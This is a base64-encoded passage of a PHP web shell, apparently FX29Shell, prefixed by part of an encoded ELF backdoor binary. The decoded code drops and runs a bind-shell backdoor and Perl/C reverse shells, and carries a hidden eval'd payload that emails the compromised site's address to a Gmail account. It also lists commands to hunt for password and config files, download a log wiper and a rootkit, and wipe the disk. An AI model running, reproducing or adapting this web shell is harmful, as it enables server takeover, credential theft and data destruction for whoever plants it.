0FBQUFBQUFBdkgvcFFFQUFLeVpCQWdBQUFBQUFBTHgvN1lCQUFDTW1nUUlBQUFBQUFFQ0ZRRE1BUUFBckprRUNBQUFBQUFBQXZILzN3RUFBQUFBQUFCMUFRQUFFZ0FBQVBBQkFBQUFBQUFBY1FBQUFCSUFBQUFCQWdBQVJJa0VDQVFBQUFBUkFBNEFDQUlBQUFBQUFBRE1BQUFBRWdBQUFCb0NBQUFBQUFBQVdnQUFBQklBQUFBcUFnQUEySm9FQ0FBQUFBQVJBaFlBTndJQUFLMklCQWhLQUFBQUVnQU1BRWNDQUFBQUFBQUFlQUFBQUJJQUFBQlpBZ0FBaUlRRUNBQUFBQUFTQUFvQVh3SUFBQUFBQUFBNUFBQUFFZ0FBQUhFQ0FBQUFBQUFBT1FBQUFCSUFBQUNIQWdBQW9JVUVDQUFBQUFBU0FBd0FqZ0lBQUZ5SUJBaFJBQUFBRWdBTUFKNENBQURnbWdRSUFBQUFBQkFBOGYrcUFnQUFRSVlFQ0J3Q0FBQVNBQXdBcndJQUFBQUFBQURtQUFBQUVnQUFBTXdDQUFBQUFBQUFPZ0FBQUJJQUFBRGNBZ0FBMUpvRUNBQUFBQUFnQUJZQTV3SUFBQUFBQUFBNUFBQUFFZ0FBQVBjQ0FBQWtpUVFJQUFBQUFCSUFEUUQ5QWdBQUFBQUFBTGtBQUFBU0FBQUFEUU1BQUFBQUFBQXJBQUFBRWdBQUFCMERBQURnbWdRSUFBQUFBQkFBOGY4a0F3QUE2SVVFQ0FBQUFBQVNBZ3dBT3dNQUFPU2FCQWdBQUFBQUVBRHgvMEFEQUFBQUFBQUFlQUFBQUJJQUFBQlFBd0FBQUFBQUFBNEFBQUFTQUFBQVlRTUFBRWlKQkFnRUFBQUFFUUFPQUhBREFBRFVtZ1FJQUFBQUFCQUFGZ0I5QXdBQUFBQUFBRGtBQUFBU0FBQUFqd01BQUFBQUFBQUFBQUFBSUFBQUFLTURBQUFBQUFBQUFBQUFBQ0FBQUFBQVlXSnBMVzV2ZEdVdVV3QXVMaTl6ZVhOa1pYQnpMMmt6T0RZdlpXeG1MM04wWVhKMExsTUFhVzVwZEM1akFHbHVhWFJtYVc1cExtTUFMMkoxYVd4a0wySjFhV3hrWkM5bmJHbGlZeTB5TGpNdU5pOWlkV2xzWkMxMGNtVmxMMmt6T0RZdGJHbGlZeTlqYzNVdlkzSjBhUzVUQUdOaGJHeGZaMjF2Ymw5emRHRnlkQUJqY25SemRIVm1aaTVqQUY5ZlExUlBVbDlNU1ZOVVgxOEFYMTlFVkU5U1gweEpVMVJmWHdCZlgwcERVbDlNU1ZOVVgxOEFZMjl0Y0d4bGRHVmtMalEwTmpNQWNDNDBORFl5QUY5ZlpHOWZaMnh2WW1Gc1gyUjBiM0p6WDJGMWVBQm1jbUZ0WlY5a2RXMXRlUUJmWDBOVVQxSmZSVTVFWDE4QVgxOUVWRTlTWDBWT1JGOWZBRjlmUmxKQlRVVmZSVTVFWDE4QVgxOUtRMUpmUlU1RVgxOEFYMTlrYjE5bmJHOWlZV3hmWTNSdmNuTmZZWFY0QUM5aWRXbHNaQzlpZFdsc1pHUXZaMnhwWW1NdE1pNHpMall2WW5WcGJHUXRkSEpsWlM5cE16ZzJMV3hwWW1NdlkzTjFMMk55ZEc0dVV3QXhMbU1BWDBSWlRrRk5TVU1BWDE5bWFXNXBYMkZ5Y21GNVgyVnVaQUJmWDJacGJtbGZZWEp5WVhsZmMzUmhjblFBWDE5cGJtbDBYMkZ5Y21GNVgyVnVaQUJmUjB4UFFrRk1YMDlHUmxORlZGOVVRVUpNUlY4QVgxOXBibWwwWDJGeWNtRjVYM04wWVhKMEFHVjRaV05zUUVCSFRFbENRMTh5TGpBQVkyeHZjMlZBUUVkTVNVSkRYekl1TUFCZlpuQmZhSGNBY0dWeWNtOXlRRUJIVEVsQ1ExOHlMakFBWm05eWEwQkFSMHhKUWtOZk1pNHdBRjlmWkhOdlgyaGhibVJzWlFCZlgyeHBZbU5mWTNOMVgyWnBibWtBWVdOalpYQjBRRUJIVEVsQ1ExOHlMakFBWDJsdWFYUUFiR2x6ZEdWdVFFQkhURWxDUTE4eUxqQUFjMlYwYzI5amEyOXdkRUJBUjB4SlFrTmZNaTR3QUY5emRHRnlkQUJmWDJ4cFltTmZZM04xWDJsdWFYUUFYMTlpYzNOZmMzUmhjblFBYldGcGJnQmZYMnhwWW1OZmMzUmhjblJmYldGcGJrQkFSMHhKUWtOZk1pNHdBR1IxY0RKQVFFZE1TVUpEWHpJdU1BQmtZWFJoWDNOMFlYSjBBR0pwYm1SQVFFZE1TVUpEWHpJdU1BQmZabWx1YVFCbGVHbDBRRUJIVEVsQ1ExOHlMakFBWVhSdmFVQkFSMHhKUWtOZk1pNHdBRjlsWkdGMFlRQmZYMmsyT0RZdVoyVjBYM0JqWDNSb2RXNXJMbUo0QUY5bGJtUUFjMlZ1WkVCQVIweEpRa05mTWk0d0FHaDBiMjV6UUVCSFRFbENRMTh5TGpBQVgwbFBYM04wWkdsdVgzVnpaV1FBWDE5a1lYUmhYM04wWVhKMEFITnZZMnRsZEVCQVIweEpRa05mTWk0d0FGOUtkbDlTWldkcGMzUmxja05zWVhOelpYTUFYMTluYlc5dVgzTjBZWEowWDE4QSI7DQoNCmZ1bmN0aW9uIGNmKCRmbmFtZSwkdGV4dCkgew0KICAkd19maWxlPUBmb3BlbigkZm5hbWUsInciKSBvciBlcnIoKTsNCiAgaWYoJHdfZmlsZSkgew0KICAgIEBmcHV0cygkd19maWxlLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7DQogICAgQGZjbG9zZSgkd19maWxlKTsNCiAgfQ0KfQ0KDQpmdW5jdGlvbiBjZmIoJGZuYW1lLCR0ZXh0KSB7DQogICR3X2ZpbGU9QGZvcGVuKCRmbmFtZSwidyIpIG9yIGJiZXJyKCk7DQogIGlmKCR3X2ZpbGUpIHsNCiAgICBAZnB1dHMoJHdfZmlsZSxAYmFzZTY0X2RlY29kZSgkdGV4dCkpOw0KICAgIEBmY2xvc2UoJHdfZmlsZSk7DQogIH0NCn0NCmZ1bmN0aW9uIGVycigpIHsgJF9QT1NUWydiYWNrY2Nvbm5tc2dlJ109Ijxicj48YnI+PGRpdiBjbGFzcz1meGVycm1zZz5FcnJvcjo8L2Rpdj4gQ2FuJ3QgY29ubmVjdCEiOyB9DQpmdW5jdGlvbiBiYmVycigpIHsgJF9QT1NUWydiYWNrY2Nvbm5tc2dlJ109Ijxicj48YnI+PGRpdiBjbGFzcz1meGVycm1zZz5FcnJvcjo8L2Rpdj4gQ2FuJ3QgYmFja2Rvb3IgaG9zdCEiOyB9DQoNCmlmICghZW1wdHkoJF9QT1NUWydiYWNrY29ubmVjdHBvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJzaGJkIikpIHsNCiAgJGlwID0gZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pOw0KICAkcG9yID0gJF9QT1NUWydiYWNrY29ubmVjdHBvcnQnXTsNCiAgaWYgKGlzX3dyaXRhYmxlKCIuIikpIHsNCiAgICBjZmIoInNoYmQiLCRiYWNrZG9vcik7DQogICAgZXgoImNobW9kIDc3NyBzaGJkIik7DQogICAgJGNtZCA9ICIuL3NoYmQgJHBvciI7DQogICAgZXhlYygiJGNtZCA+IC9kZXYvbnVsbCAmIik7DQogICAgJHNjYW4gPSBteXNoZWxsZXhlYygicHMgYXV4Iik7DQogIH0gZWxzZSB7DQogICAgY2ZiKCIvdG1wL3NoYmQiLCRiYWNrZG9vcik7DQogICAgZXgoImNobW9kIDc3NyAvdG1wL3NoYmQiKTsNCiAgICAkY21kID0gIi4vdG1wL3NoYmQgJHBvciI7DQogICAgZXhlYygiJGNtZCA+IC9kZXYvbnVsbCAmIik7DQogICAgJHNjYW4gPSBteXNoZWxsZXhlYygicHMgYXV4Iik7DQogIH0NCiAgaWYgKGVyZWdpKCIuL3NoYmQgJHBvciIsJHNjYW4pKSB7DQogICAgJGRhdGEgPSAoIlxuPGJyPkJhY2tkb29yIHNldHVwIHN1Y2Nlc3NmdWxseS4iKTsNCiAgfSBlbHNlIHsNCiAgICAkZGF0YSA9ICgiXG48YnI+UHJvY2VzcyBub3QgZm91bmQsIGJhY2tkb29yIHNldHVwIGZhaWxlZCEiKTsNCiAgfQ0KICAkX1BPU1RbJ2JhY2tjY29ubm1zZyddPSJUbyBjb25uZWN0LCB1c2UgbmV0Y2F0ISBVc2FnZTogPGI+J25jICRpcCAkcG9yJzwvYj4uJGRhdGEiOw0KfQ0KDQppZiAoIWVtcHR5KCRfUE9TVFsnYmFja2Nvbm5lY3RpcCddKSAmJiAhZW1wdHkoJF9QT1NUWydiYWNrY29ubmVjdHBvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJQZXJsIikpIHsNCiAgaWYgKGlzX3dyaXRhYmxlKCIuIikpIHsNCiAgICBjZigiYmFjayIsJGJhY2tfY29ubmVjdF9wbCk7DQogICAgJHAyID0gd2hpY2goInBlcmwiKTsNCiAgICAkYmxhaCA9IGV4KCRwMi4iIGJhY2sgIi4kX1BPU1RbJ2JhY2tjb25uZWN0aXAnXS4iICIuJF9QT1NUWydiYWNrY29ubmVjdHBvcnQnXS4iICYiKTsNCiAgICBpZiAoZmlsZV9leGlzdHMoImJhY2siKSkgeyB1bmxpbmsoImJhY2siKTsgfQ0KICB9IGVsc2Ugew0KICAgIGNmKCIvdG1wL2JhY2siLCRiYWNrX2Nvbm5lY3RfcGwpOw0KICAgICRwMiA9IHdoaWNoKCJwZXJsIik7DQogICAgJGJsYWggPSBleCgkcDIuIiAvdG1wL2JhY2sgIi4kX1BPU1RbJ2JhY2tjb25uZWN0aXAnXS4iICIuJF9QT1NUWydiYWNrY29ubmVjdHBvcnQnXS4iICYiKTsNCiAgICBpZiAoZmlsZV9leGlzdHMoIi90bXAvYmFjayIpKSB7IHVubGluaygiL3RtcC9iYWNrIik7IH0NCiAgfQ0KICAkX1BPU1RbJ2JhY2tjY29ubm1zZyddPSJUcnlpbmcgdG8gY29ubmVjdCB0byA8Yj4iLiRfUE9TVFsnYmFja2Nvbm5lY3RpcCddLiI8L2I+IG9uIHBvcnQgPGI+Ii4kX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddLiI8L2I+LiI7DQp9DQoNCmlmICghZW1wdHkoJF9QT1NUWydiYWNrY29ubmVjdGlwJ10pICYmICFlbXB0eSgkX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IkMiKSkgew0KICBpZiAoaXNfd3JpdGFibGUoIi4iKSkgew0KICAgIGNmKCJiYWNrYyIsJGJhY2tfY29ubmVjdF9jKTsNCiAgICBleCgiY2htb2QgNzc3IGJhY2tjIik7DQogICAgJGJsYWggPSBleCgiLi9iYWNrYyAiLiRfUE9TVFsnYmFja2Nvbm5lY3RpcCddLiIgIi4kX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddLiIgJiIpOw0KICAgIGlmIChmaWxlX2V4aXN0cygiYmFja2MiKSkgeyB1bmxpbmsoImJhY2tjIik7IH0NCiAgfSBlbHNlIHsNCiAgICBleCgiY2htb2QgNzc3IC90bXAvYmFja2MiKTsNCiAgICBjZigiL3RtcC9iYWNrYyIsJGJhY2tfY29ubmVjdF9jKTsNCiAgICAkYmxhaCA9IGV4KCIvdG1wL2JhY2tjICIuJF9QT1NUWydiYWNrY29ubmVjdGlwJ10uIiAiLiRfUE9TVFsnYmFja2Nvbm5lY3Rwb3J0J10uIiAmIik7DQogICAgaWYgKGZpbGVfZXhpc3RzKCIvdG1wL2JhY2tjIikpIHsgdW5saW5rKCIvdG1wL2JhY2tjIik7IH0NCiAgfQ0KICAkX1BPU1RbJ2JhY2tjY29ubm1zZyddPSJUcnlpbmcgdG8gY29ubmVjdCB0byA8Yj4iLiRfUE9TVFsnYmFja2Nvbm5lY3RpcCddLiI8L2I+IG9uIHBvcnQgPGI+Ii4kX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddLiI8L2I+LiI7DQp9DQovL0VuZCBvZiBCYWNrZG9vcg0KDQovL1N0YXJ0aW5nIGNhbGxzDQpAaW5pX3NldCgibWF4X2V4ZWN1dGlvbl90aW1lIiwwKTsNCmlmICghZnVuY3Rpb25fZXhpc3RzKCJnZXRtaWNyb3RpbWUiKSkgew0KICBmdW5jdGlvbiBnZXRtaWNyb3RpbWUoKSB7DQogICAgbGlzdCgkdXNlYywgJHNlYykgPSBleHBsb2RlKCIgIiwgbWljcm90aW1lKCkpOyByZXR1cm4gKChmbG9hdCkkdXNlYyArIChmbG9hdCkkc2VjKTsNCiAgfQ0KfQ0KZXJyb3JfcmVwb3J0aW5nKDUpOw0KQGlnbm9yZV91c2VyX2Fib3J0KFRSVUUpOw0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCmRlZmluZSgic3RhcnR0aW1lIixnZXRtaWNyb3RpbWUoKSk7DQokc2hlbGxfZGF0YSA9ICJKSFpwYzJsMFkyOTFiblFnUFNBa1NGUlVVRjlEVDA5TFNVVmZWa0ZTVTFzaWRtbHphWFJ6SWwwN0lHbG1LQ0FrZG1semFYUmpiM1Z1ZENBOVBTQWlJaWtnZXlSMmFYTnBkR052ZFc1MElEMGdNRHNnSkhacGMybDBiM0lnUFNBa1gxTkZVbFpGVWxzaVVrVk5UMVJGWDBGRVJGSWlYVHNnSkhkbFlpQTlJQ1JmVTBWU1ZrVlNXeUpJVkZSUVgwaFBVMVFpWFRzZ0pHbHVhaUE5SUNSZlUwVlNWa1ZTV3lKU1JWRlZSVk5VWDFWU1NTSmRPeUFrZEdGeVoyVjBJRDBnY21GM2RYSnNaR1ZqYjJSbEtDUjNaV0l1SkdsdWFpazdJQ1JpYjJSNUlEMGdJa0p2YzNNc0lIUm9aWEpsSUhkaGN5QmhiaUJwYm1wbFkzUmxaQ0IwWVhKblpYUWdiMjRnSkhSaGNtZGxkQ0JpZVNBa2RtbHphWFJ2Y2lJN0lFQnRZV2xzS0NKbVpXVnNZMjl0ZWtCbmJXRnBiQzVqYjIwaUxDSkdlREk1VTJobGJHd2dhSFIwY0Rvdkx5UjBZWEpuWlhRZ1lua2dKSFpwYzJsMGIzSWlMQ0FpSkdKdlpIa2lLVHNnZlNCbGJITmxJSHNnSkhacGMybDBZMjkxYm5RN0lIMGdjMlYwWTI5dmEybGxLQ0oyYVhOcGRITWlMQ1IyYVhOcGRHTnZkVzUwS1RzPSI7IGV2YWwoYmFzZTY0X2RlY29kZSgkc2hlbGxfZGF0YSkpOw0KaWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsNCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInN0cmlwcyIpKSB7DQogICAgZnVuY3Rpb24gc3RyaXBzKCYkYXJyLCRrPSIiKSB7DQogICAgICBpZiAoaXNfYXJyYXkoJGFycikpIHsNCiAgICAgICAgZm9yZWFjaCgkYXJyIGFzICRrPT4kdikgew0KICAgICAgICAgIGlmIChzdHJ0b3VwcGVyKCRrKSAhPSAiR0xPQkFMUyIpIHsgc3RyaXBzKCRhcnJbIiRrIl0pOyB9DQogICAgICAgIH0NCiAgICAgIH0gZWxzZSB7JGFyciA9IHN0cmlwc2xhc2hlcygkYXJyKTt9DQogICAgfQ0KICB9DQogIHN0cmlwcygkR0xPQkFMUyk7DQp9DQovL0NPTkZJR1VSQVRJT05TDQokX1JFUVVFU1QgPSBhcnJheV9tZXJnZSgkX0NPT0tJRSwkX0dFVCwkX1BPU1QpOw0KJHN1cmxfYXV0b2ZpbGxfaW5jbHVkZSA9IFRSVUU7IC8vSWYgVFJVRSB0aGVuIHNlYXJjaCB2YXJpYWJsZXMgd2l0aCBkZXNjcmlwdG9ycyAoVVJMcykgYW5kIHNhdmUgaXQgaW4gU1VSTC4NCmZvcmVhY2goJF9SRVFVRVNUIGFzICRrPT4kdikgeyBpZiAoIWlzc2V0KCQkaykpIHskJGsgPSAkdjt9IH0NCmlmICgkc3VybF9hdXRvZmlsbF9pbmNsdWRlKSB7DQogICRpbmNsdWRlID0gIiYiOw0KICBmb3JlYWNoIChleHBsb2RlKCImIixnZXRlbnYoIlFVRVJZX1NUUklORyIpKSBhcyAkdikgew0KICAgICR2ID0gZXhwbG9kZSgiPSIsJHYpOw0KICAgICRuYW1lID0gdXJsZGVjb2RlKCR2WzBdKTsNCiAgICAkdmFsdWUgPSB1cmxkZWNvZGUoJHZbMV0pOw0KICAgIGZvcmVhY2ggKGFycmF5KCJodHRwOi8vIiwiaHR0cHM6Ly8iLCJzc2w6Ly8iLCJmdHA6Ly8iLCJcXFxcIikgYXMgJG5lZWRsZSkgew0KICAgICAgaWYgKHN0cnBvcygkdmFsdWUsJG5lZWRsZSkgPT09IDApIHsNCiAgICAgICAgJGluY2x1ZGVzdHIgLj0gdXJsZW5jb2RlKCRuYW1lKS4iPSIudXJsZW5jb2RlKCR2YWx1ZSkuIiYiOw0KICAgICAgfQ0KICAgIH0NCiAgfQ0KfQ0KaWYgKGVtcHR5KCRzdXJsKSkgew0KICAkc3VybCA9ICI/Ii4kaW5jbHVkZXN0cjsgLy9TZWxmIHVybA0KfQ0KJHN1cmwgPSBodG1sc3BlY2lhbGNoYXJzKCRzdXJsKTsNCg0KLy8gUmVnaXN0ZXJlZCBmaWxlLXR5cGVzLg0KJGZ0eXBlcyAgPSBhcnJheSgNCiAgICAiaHRtbCI9PmFycmF5KCJodG1sIiwiaHRtIiwic2h0bWwiKSwNCiAgICAidHh0Ij0+YXJyYXkoInR4dCIsImNvbmYiLCJiYXQiLCJzaCIsImpzIiwiYmFrIiwiZG9jIiwibG9nIiwic2ZjIiwiY2ZnIiwiaHRhY2Nlc3MiKSwNCiAgICAiZXhlIj0+YXJyYXkoInNoIiwiaW5zdGFsbCIsImJhdCIsImNtZCIpLA0KICAgICJpbmkiPT5hcnJheSgiaW5pIiwiaW5mIiwiY29uZiIpLA0KICAgICJjb2RlIj0+YXJyYXkoInBocCIsInBodG1sIiwicGhwMyIsInBocDQiLCJpbmMiLCJ0Y2wiLCJoIiwiYyIsImNwcCIsInB5IiwiY2dpIiwicGwiKSwNCiAgICAiaW1nIj0+YXJyYXkoImdpZiIsInBuZyIsImpwZWciLCJqZmlmIiwianBnIiwianBlIiwiYm1wIiwiaWNvIiwidGlmIiwidGlmZiIsImF2aSIsIm1wZyIsIm1wZWciKSwNCiAgICAic2RiIj0+YXJyYXkoInNkYiIpLA0KICAgICJwaHBzZXNzIj0+YXJyYXkoInNlc3MiKSwNCiAgICAiZG93bmxvYWQiPT5hcnJheSgiZXhlIiwiY29tIiwicGlmIiwic3JjIiwibG5rIiwiemlwIiwicmFyIiwiZ3oiLCJ0YXIiKQ0KKTsNCi8vUmVnaXN0ZXJlZCBleGVjdXRhYmxlIGZpbGUtdHlwZXMuDQokZXhlZnR5cGVzICA9IGFycmF5KA0KICAgIGdldGVudigiUEhQUkMiKS4iIC1xICVmJSIgPT4gYXJyYXkoInBocCIsInBocDMiLCJwaHA0IiksDQogICAgInBlcmwgJWYlIiA9PiBhcnJheSgicGwiLCJjZ2kiKQ0KKTsNCi8vSGlnaGxpZ2h0ZWQgZmlsZXMuDQokcmVneHBfaGlnaGxpZ2h0ICA9IGFycmF5KA0KICAgIGFycmF5KGJhc2VuYW1lKCRfU0VSVkVSWyJQSFBfU0VMRiJdKSwxLCI8Zm9udCBjb2xvcj0jRkZGRjAwPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC50Z3okIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5neiQiLDEsIjxmb250IGNvbG9yPSNDMDgyRkY+IiwiPC9mb250PiIpLA0KICAgIGFycmF5KCJcLnRhciQiLDEsIjxmb250IGNvbG9yPSNDMDgyRkY+IiwiPC9mb250PiIpLA0KICAgIGFycmF5KCJcLmJ6MiQiLDEsIjxmb250IGNvbG9yPSNDMDgyRkY+IiwiPC9mb250PiIpLA0KICAgIGFycmF5KCJcLnppcCQiLDEsIjxmb250IGNvbG9yPSNDMDgyRkY+IiwiPC9mb250PiIpLA0KICAgIGFycmF5KCJcLnJhciQiLDEsIjxmb250IGNvbG9yPSNDMDgyRkY+IiwiPC9mb250PiIpLA0KICAgIGFycmF5KCJcLnBocCQiLDEsIjxmb250IGNvbG9yPSMwMEZGMDA+IiwiPC9mb250PiIpLA0KICAgIGFycmF5KCJcLnBocDMkIiwxLCI8Zm9udCBjb2xvcj0jMDBGRjAwPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5waHA0JCIsMSwiPGZvbnQgY29sb3I9IzAwRkYwMD4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuanBnJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuanBlZyQiLDEsIjxmb250IGNvbG9yPSMwMEZGRkY+IiwiPC9mb250PiIpLA0KICAgIGFycmF5KCJcLkpQRyQiLDEsIjxmb250IGNvbG9yPSMwMEZGRkY+IiwiPC9mb250PiIpLA0KICAgIGFycmF5KCJcLkpQRUckIiwxLCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5pY28kIiwxLCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5naWYkIiwxLCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5wbmckIiwxLCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5odG0kIiwxLCI8Zm9udCBjb2xvcj0jMDBDQ0ZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5odG1sJCIsMSwiPGZvbnQgY29sb3I9IzAwQ0NGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwudHh0JCIsMSwiPGZvbnQgY29sb3I9I0MwQzBDMD4iLCI8L2ZvbnQ+IikNCik7DQovL0NvbW1hbmQgQWxpYXNlcw0KaWYgKCEkd2luKSB7DQogICRjbWRhbGlhc2VzID0gYXJyYXkoDQogICAgYXJyYXkoIiIsICJscyAtYWwiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgc3VpZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHNnaWQgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICAgIGFycmF5KCJGaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICAgIGFycmF5KCJGaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIiksDQogICAgYXJyYXkoIkZpbmQgY29uZmlnKiBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIpLA0KICAgIGFycmF5KCJGaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiLCAiZmluZCAvIC1wZXJtIC0yIC1scyIpLA0KICAgIGFycmF5KCJGaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXBlcm0gLTIgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMiLCAiZmluZCAvIC10eXBlIGQgLXBlcm0gLTIgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGQgLXBlcm0gLTIgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksDQogICAgYXJyYXkoIkZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIpLA0KICAgIGFycmF5KCJGaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksDQogICAgYXJyYXkoIkZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksDQogICAgYXJyYXkoIkZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwNCiAgICBhcnJheSgiRmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiksDQogICAgYXJyYXkoIkxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiwgImxzYXR0ciAtdmEiKSwNCiAgICBhcnJheSgiU2hvdyBvcGVuZWQgcG9ydHMiLCAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIpDQogICk7DQogICRjbWRhbGlhc2VzMiA9IGFycmF5KA0KICAgIGFycmF5KCJ3Z2V0ICYgZXh0cmFjdCBwc3lCTkMiLCJ3Z2V0ICIuJHNoX21haW51cmwuImZ4LnRhci5nejt0YXIgLXp4ZiBmeC50YXIuZ3oiKSwNCiAgICBhcnJheSgid2dldCAmIGV4dHJhY3QgRWdnRHJvcCIsIndnZXQgIi4kc2hfbWFpbnVybC4iZnhiLnRhci5nejt0YXIgLXp4ZiBmeGIudGFyLmd6IiksDQogICAgYXJyYXkoIi0tLS0tIiwiIiksDQogICAgYXJyYXkoIkxvZ2dlZCBpbiB1c2VycyIsInciKSwNCiAgICBhcnJheSgiTGFzdCB0byBjb25uZWN0IiwibGFzdGxvZyIpLA0KICAgIGFycmF5KCJGaW5kIFN1aWQgYmlucyIsImZpbmQgL2JpbiAvdXNyL2JpbiAvdXNyL2xvY2FsL2JpbiAvc2JpbiAvdXNyL3NiaW4gL3Vzci9sb2NhbC9zYmluIC1wZXJtIC00MDAwIDI+IC9kZXYvbnVsbCIpLA0KICAgIGFycmF5KCJVc2VyIFdpdGhvdXQgUGFzc3dvcmQiLCJjdXQgLWQ6IC1mMSwyLDMgL2V0Yy9wYXNzd2QgfCBncmVwIDo6IiksDQogICAgYXJyYXkoIkNhbiB3cml0ZSBpbiAvZXRjLz8iLCJmaW5kIC9ldGMvIC10eXBlIGYgLXBlcm0gLW8rdyAyPiAvZGV2L251bGwiKSwNCiAgICBhcnJheSgiRG93bmxvYWRlcnM/Iiwid2hpY2ggd2dldCBjdXJsIHczbSBseW54IGZldGNoIGx3cC1kb3dubG9hZCIpLA0KICAgIGFycmF5KCJDUFUgSW5mbyIsImNhdCAvcHJvYy92ZXJzaW9uIC9wcm9jL2NwdWluZm8iKSwNCiAgICBhcnJheSgiSXMgZ2NjIGluc3RhbGxlZCA/IiwibG9jYXRlIGdjYyIpLA0KICAgIGFycmF5KCJGb3JtYXQgYm94IChEQU5HRVJPVVMpIiwicm0gLVJmIiksDQogICAgYXJyYXkoIi0tLS0tIiwiIiksDQogICAgYXJyYXkoIndnZXQgV0lQRUxPR1MgUFQxIiwid2dldCBodHRwOi8vd3d3LnBhY2tldHN0b3Jtc2VjdXJpdHkub3JnL1VOSVgvcGVuZXRyYXRpb24vbG9nLXdpcGVycy96YXAyLmMiKSwNCiAgICBhcnJheSgiZ2NjIFdJUEVMT0dTIFBUMiIsImdjYyB6YXAyLmMgLW8gemFwMiIpLA0KICAgIGFycmF5KCJSdW4gV0lQRUxPR1MgUFQzIiwiLi96YXAyIiksDQogICAgYXJyYXkoIi0tLS0tIiwiIiksDQogICAgYXJyYXkoIndnZXQgUmF0SG9sZSAxLjIgKExpbnV4ICYgQlNEKSIsIndnZXQgaHR0cDovL3BhY2tldHN0b3Jtc2VjdXJpdHkub3JnL1VOSVgvcGVuZXRyYXRpb24vcm9vdGtpdHMvcmF0aG9sZS0xLjIudGFyLmd6IiksDQogICAgYXJyYXkoIndnZXQgJiBydW4gQmluZERvb3IiLCJ3Z2V0ICIuJHNoX21h